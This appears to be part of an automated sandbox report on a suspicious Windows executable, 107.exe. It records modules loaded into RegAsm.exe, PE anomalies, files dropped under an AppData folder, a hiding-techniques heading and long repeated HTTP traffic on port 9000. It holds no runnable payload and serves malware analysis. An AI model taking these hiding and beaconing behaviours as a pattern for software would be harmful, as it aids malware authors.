Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: 107.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 107.exe

Static file information: File size 4083200 > 1048576

Source: 107.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1f0200

Source: 107.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: 107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 107.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\BUILD\work\e0dd96435fde7cb0\BUILDS\Release\x86\avDump.pdb source: 107.exe

Source: 107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_004613E0 InitializeCriticalSection,UuidCreate,GetSystemDirectoryW,LoadLibraryW,GetProcAddress,GetLastError,GetLastError,SetEvent,

0_2_004613E0

Source: 107.exe

Static PE information: real checksum: 0x32286d should be: 0x3ee7c3

Source: 107.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00599247 push ecx; ret	0_2_0059925A
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0042A791 push E8FFFFFEh; iretd	0_2_0042A796
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045B2DC0 push eax; ret	0_2_045B2E21
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045B2E70 push eax; ret	0_2_045B2E21
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A2E15 push ecx; ret	0_2_045A2E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7EC5D push eax; iretd	1_2_00E7EC5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7814A push esp; ret	1_2_06D78151
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07687968 push es; iretd	1_2_07687974

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\background.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\import.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\options.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\permissions.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\popup.js.LICENSE.txt	Jump to behavior

Source: C:\Users\user\Desktop\107.exe

0_2_0042C200

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 9000
